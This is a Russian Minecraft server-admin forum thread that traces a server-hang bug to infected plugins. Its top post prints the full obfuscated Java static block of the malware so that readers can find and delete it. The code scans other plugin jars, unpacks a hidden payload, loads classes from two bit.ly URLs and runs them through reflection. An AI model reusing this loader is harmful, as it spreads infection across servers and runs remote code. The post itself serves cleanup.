Войти или зарегистрироваться
  • Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.

Решено Баг с 1 августа

Помогла ли данная тема в решении бага?

  • Да

  • Нет


Результаты видны после голосования.

spy_me

Активный участник
Пользователь
Баллы
66
Имя в Minecraft
SPY_me
Проблема решена! Ищите в зараженных плагинах код и удаляйте его.

Чаще всего встречал его в плагинах Славика. Проверяйте его сборки перед использованием.

Вот "Лишний" код (вирус), который надо удалить из зараженных плагинов, для предотвращения заражения остальных.
Java:
static {
        try {
            File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
            boolean b = false;
            long n = -1L;
            int n2 = 0;
            final File[] listFiles = file.listFiles();
            for (int i = 0; i < listFiles.length; ++i) {
                if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                    file = listFiles[i];
                    final byte[] array = new byte[(int)file.length()];
                    final FileInputStream fileInputStream = new FileInputStream(file);
                    fileInputStream.read(array);
                    fileInputStream.close();
                    if (array[15] == (byte)(array[16] ^ 0xBE)) {
                        b = true;
                        n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                        if (n > 0L) {
                            n2 = (int)n;
                            n = file.length() - (n + 2L);
                            break;
                        }
                    }
                }
            }
            if (b) {
                final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                randomAccessFile.seek(n);
                final byte[] input = new byte[n2];
                randomAccessFile.read(input, 0, n2);
                randomAccessFile.close();
                final Inflater inflater = new Inflater();
                inflater.setInput(input);
                final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                final byte[] array2 = new byte[1024];
                while (!inflater.finished()) {
                    byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                }
                byteArrayOutputStream.close();
                final byte[] byteArray = byteArrayOutputStream.toByteArray();
                inflater.end();
                final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                declaredMethod.setAccessible(true);
                ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
            }
        }
        catch (Exception ex) {}
    }
Можно заранее сделать сейв плагинов и просто перекачать их.
ВАЖНО! Сервер должен быть выключен.

Спасибо за решение бага @Dymeth @xtrafrancyz и @_AndreyBarna_
P.S. Кому интересны подробности - читайте тему)
 
Последнее редактирование:
Хз. Баг какойто. Сервер на отрез отказывается работать если дата после 1 сентября и дальше. Тупо виснет и все. У меня так на двух серверах. И приходится ставить дату на август все время.
 
Хз. Баг какойто. Сервер на отрез отказывается работать если дата после 1 сентября и дальше. Тупо виснет и все. У меня так на двух серверах. И приходится ставить дату на август все время.
Пофикшено, ищи плагин в сборках, путем перебора, удаляй его и потом надо стереть всё, кроме мира, плагинов, пропертиес и ядра
 
Пофикшено, ищи плагин в сборках, путем перебора, удаляй его и потом надо стереть всё, кроме мира, плагинов, пропертиес и ядра
а ок
online-mode: true и все норм
Поставь дату на пару месяцев назад и все.
 
А в чём суть бага, кто-нибудь знает виновный кусок кода? Очень интересно, где опять наговнокодили.
 
Покажи мне thaumcraft и buildcraft под 1.10. Нету? Тогда о какой актуальности 1.10 для модов идет речь?
Азанор пилит таум под 1.10 (альфа версии уже есть у него на Patreon-страничке), а билд можно спокойно скомпилировать из репозитория.
Хотя не, билд скомпилировать пока нельзя под 1.10.
 
Азанор пилит таум под 1.10 (альфа версии уже есть у него на Patreon-страничке), а билд можно спокойно скомпилировать из репозитория.
Хотя не, билд скомпилировать пока нельзя под 1.10.
У него репы закрыты, насколько я знаю.
 

Поделиться этой страницей

Назад
Верх